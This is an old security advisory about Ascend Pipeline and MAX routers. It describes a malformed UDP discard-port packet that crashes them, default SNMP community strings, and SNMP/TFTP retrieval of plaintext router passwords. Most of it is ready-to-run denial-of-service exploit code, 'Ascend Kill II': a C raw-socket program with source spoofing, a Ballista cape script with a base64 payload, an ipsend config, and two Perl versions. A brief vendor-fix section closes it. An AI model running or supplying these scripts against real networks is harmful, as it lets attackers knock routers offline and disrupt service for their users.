|
Vulnerability Ascens OS 5.0Ap42 (MAX) and 5.0A (Pipeline). Affected Ascend Pipeline and MAX networking equipment Description Following info is partly based on Secure Networks Security Advisory on subject of security issues with Ascend routing hardware. Ascend Communications provides several popular routing and access-server solution, including the Pipeline access router and the MAX access server. Ascend provides a configuration tool for their equipment which enables operators to reconfigure routers via a graphical interface. This tool is called the "Ascend Java Configurator". The Ascend Configurator is capable of locating Ascend routers on a network, using a special probe protocol. In order to locate Ascend routers, the Configurator broadcasts a specially formatted UDP packet to the "discard" port (port 9). Ascend routers listen for these packets and respond with another UDP packet that contains the symbolic name of the router. In this manner, the Configurator can build a list of all Ascend routers on the local network. By sending a specially formatted malformed probe packet to the discard port of an Ascend router, an attacker can cause an Ascend router to lock up. Attackers can easily discover Ascend routers to crash by sending probe packets to the discard port of arbitrary ranges of addresses; only Ascend routers will respond to them. Ascend routers are manageable by the SNMP protocol. Ascend's SNMP support includes the ability to read and write MIB variables. Ascend's SNMP system is protected by the SNMP community definitions, which act as passwords for SNMP access. By default, the SNMP "read" password is "public", and the SNMP "write" password is "write". An attacker that can guess the SNMP "read" community can read arbitrary MIB variables, and an attacker that can guess the "write" community can set arbitrary MIB variables to new values. Ascend provides a vendor-specific extension MIB. This MIB includes variables specific to Ascend equipment. Among these variables is a group of settings called "sysConfigTftp", which allow the configuration of the router to be manipulated via the TFTP protocol. By writing to these variables with SNMP "set" messages, an attacker can download the entire configuration of the Ascend router. The full configuration of an Ascend router includes the telnet password (knowledge of which allows an attacker to gain telnet access to the Ascend menu interface), all the enhanced access passwords (allowing an attacker to reconfigure the router from the menu interface), network protocol authentication keys (including RADIUS and OSPF keys), usernames and passwords for incoming connections, and usernames, passwords, and dial-up phone numbers for outgoing connections. All of this information is in plaintext. An attacker with full access to an Ascend router can also use it to "sniff" the networks it is attached to. Ascend routers have an extensive (and largely undocumented) debugging interface; functions are included in this interface to obtain hexadecimal dumps of raw Ethernet, ISDN, DS1, and modem traffic. Exploit follows: /* * Ascend Kill II - C version * * (C) 1998 Rootshell * * Distribute freely. * * Released: 3/16/98 * * Sends a specially constructed UDP packet on the discard port (9) * which cause Ascend routers to reboot. (Warning! Ascend routers will * process these if they are broadcast packets.) * * Compiled under RedHat 5.0 with glibc. * * NOTE: This program is NOT to be used for malicous purposes. This is * intenteded for educational purposes only. By using this program * you agree to use this for lawfull purposes ONLY. * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <linux/udp.h> #include <netdb.h> #define err(x) { fprintf(stderr, x); exit(1); } #define errs(x, y) { fprintf(stderr, x, y); exit(1); } /* This magic packet was taken from the Java Configurator */ char ascend_data[] = { 0x00, 0x00, 0x07, 0xa2, 0x08, 0x12, 0xcc, 0xfd, 0xa4, 0x81, 0x00, 0x00, 0x00, 0x00, 0x12, 0x34, 0x56, 0x78, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0xff, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44, 0x50, 0x41, 0x53, 0x53}; unsigned short in_cksum (addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } int sendpkt_udp (sin, s, data, datalen, saddr, daddr, sport, dport) struct sockaddr_in *sin; unsigned short int s, datalen, sport, dport; unsigned long int saddr, daddr; char *data; { struct iphdr ip; struct udphdr udp; static char packet[8192]; char crashme[500]; int i; ip.ihl = 5; ip.version = 4; ip.tos = rand () % 100;; ip.tot_len = htons (28 + datalen); ip.id = htons (31337 + (rand () % 100)); ip.frag_off = 0; ip.ttl = 255; ip.protocol = IPPROTO_UDP; ip.check = 0; ip.saddr = saddr; ip.daddr = daddr; ip.check = in_cksum ((char *) &ip, sizeof (ip)); udp.source = htons (sport); udp.dest = htons (dport); udp.len = htons (8 + datalen); udp.check = (short) 0; memcpy (packet, (char *) &ip, sizeof (ip)); memcpy (packet + sizeof (ip), (char *) &udp, sizeof (udp)); memcpy (packet + sizeof (ip) + sizeof (udp), (char *) data, datalen); /* Append random garbage to the packet, without this the router will think this is a valid probe packet and reply. */ for (i = 0; i < 500; i++) crashme[i] = rand () % 255; memcpy (packet + sizeof (ip) + sizeof (udp) + datalen, crashme, 500); return (sendto (s, packet, sizeof (ip) + sizeof (udp) + datalen + 500, 0, (struct sockaddr *) sin, sizeof (struct sockaddr_in))); } unsigned int lookup (host) char *host; { unsigned int addr; struct hostent *he; addr = inet_addr (host); if (addr == -1) { he = gethostbyname (host); if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL)) return 0; bcopy (*(he->h_addr_list), &(addr), sizeof (he->h_addr_list)); } return (addr); } void main (argc, argv) int argc; char **argv; { unsigned int saddr, daddr; struct sockaddr_in sin; int s, i; if (argc != 3) errs ("Usage: %s <source_addr> <dest_addr>\n", argv[0]); if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) err ("Unable to open raw socket.\n"); if (!(saddr = lookup (argv[1]))) err ("Unable to lookup source address.\n"); if (!(daddr = lookup (argv[2]))) err ("Unable to lookup destination address.\n"); sin.sin_family = AF_INET; sin.sin_port = 9; sin.sin_addr.s_addr = daddr; if ((sendpkt_udp (&sin, s, &ascend_data, sizeof (ascend_data), saddr, daddr, 9, 9)) == -1) { perror ("sendpkt_udp"); err ("Error sending the UDP packet.\n"); } } Secure Networks makes security auditing software called Ballista. It has its own scripting language called cape. Here is a version of Ascend Kill II written in cape. iface=le0 # Enter your default gateway gateway=10.0.0.1 ip # Source IP of packet ip_src=1.2.3.4 # Address of Ascend router ip_dst=10.0.0.2 ip_version=4 ip_proto=IPPROTO_UDP ip_flags=0 ip_done udp udp_sport=9 udp_dport=9 udp_done data_file=ascend_data end_of_packet Here is the data that cape needs. It is mimed. --- Content-Type: application/octet-stream; name="ascend_d.uue" Content-Transfer-Encoding: base64 Content-Disposition: inline; filename="ascend_d.uue" Content-MD5: p5nq5uHNY1H5dc/H3BQmew== AAAHoggSzP2kgQAAAAASNFZ4//////////8ATkFNRU5BTUVOQU1FTkFNRf9QQVNTV09SRFBB U1NXT1JEUEFTU2ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZg== ----- Using that data file with ipsend v2: interface { ifname le0; mtu 1500; }; ipv4 { src 1.1.1.1; dst 10.0.0.2; udp { sport 9; dport 9; data { file ascend_data.uue; }; }; }; send { via 10.0.0.1; }; Kit Knox posted for everyone who had problems with the Linux only version in C. This should be pretty cross platform. (Requires perl 5.x): #!/usr/bin/perl # # Ascend Kill II - perl version # (C) 1998 Rootshell # # Released: 3/17/98 # # Thanks to Secure Networks. See SNI-26: Ascend Router Security Issues # (http://www.secnet.com/sni-advisories/sni-26.ascendrouter.advisory.html) # # NOTE: This program is NOT to be used for malicous purposes. This is # intenteded for educational purposes only. By using this program # you agree to use this for lawfull purposes ONLY. # # use Socket; require "getopts.pl"; sub AF_INET {2;} sub SOCK_DGRAM {2;} sub ascend_kill { $remotehost = shift(@_); chop($hostname = `hostname`); $port = 9; $SIG{'INT'} = 'dokill'; $sockaddr = 'S n a4 x8'; ($pname, $aliases, $proto) = getprotobyname('tcp'); ($pname, $aliases, $port) = getservbyname($port, 'tcp') unless $port =~ /^\d+$/; ($pname, $aliases, $ptype, $len, $thisaddr) = gethostbyname($hostname); $this = pack($sockaddr, AF_INET, 0, $thisaddr); ($pname, $aliases, $ptype, $len, $thataddr) = gethostbyname($remotehost); $that = pack($sockaddr, AF_INET, $port, $thataddr); socket(S, &AF_INET, &SOCK_DGRAM, 0); $msg = pack("c64", 0x00, 0x00, 0x07, 0xa2, 0x08, 0x12, 0xcc, 0xfd, 0xa4, 0x81, 0x00, 0x00, 0x00, 0x00, 0x12, 0x34, 0x56, 0x78, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0xff, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44, 0x50, 0x41, 0x53, 0x53); for ($i=0; $i<500; $i++) { $msg .= pack("c1", 0xff); } send(S,$msg,0,$that) || die "send:$!"; } if ($ARGV[0] eq '') { print "usage: akill2.pl <remote_host>\n"; exit; } &ascend_kill($ARGV[0]); Another (same) perl version comes from Thomas Michaux: # NOTE: This program is NOT to be used for malicous purposes. This is # intenteded for educational purposes only. By using this # program you agree to use this for lawfull purposes ONLY. #!/usr/local/bin/perl $| = 1; use IO::Socket; use Socket; $sock = IO::Socket::INET->new(PeerPort => 'discard(9)',PeerAddr => 'host.domain', Proto => 'udp') or die "Socket:$!"; $msg = pack("c64", 0x00, 0x00, 0x07, 0xa2, 0x08, 0x12, 0xcc, 0xfd, 0xa4, 0x81, 0x00, 0x00, 0x00, 0x00, 0x12, 0x34, 0x56, 0x78, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0xff, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44, 0x50, 0x41, 0x53, 0x53); for ($i=0; $i<500; $i++) { $msg .= pack("c1", 0xff); } $sock->send($msg) || die "send:$!"; print "Message sent\n"; $sock->close(); Solution Ascend's 6.0 operating system disables SNMP "write" access by default. The denial-of-service issue detailed in this advisory is due to an implementation flaw in Ascend's software. A fix for Ascend Kill II is now available. See : ftp://ftp.ascend.com/pub/Software-Releases For details of a workaround take a look at: http://www.ascend.com/2694.html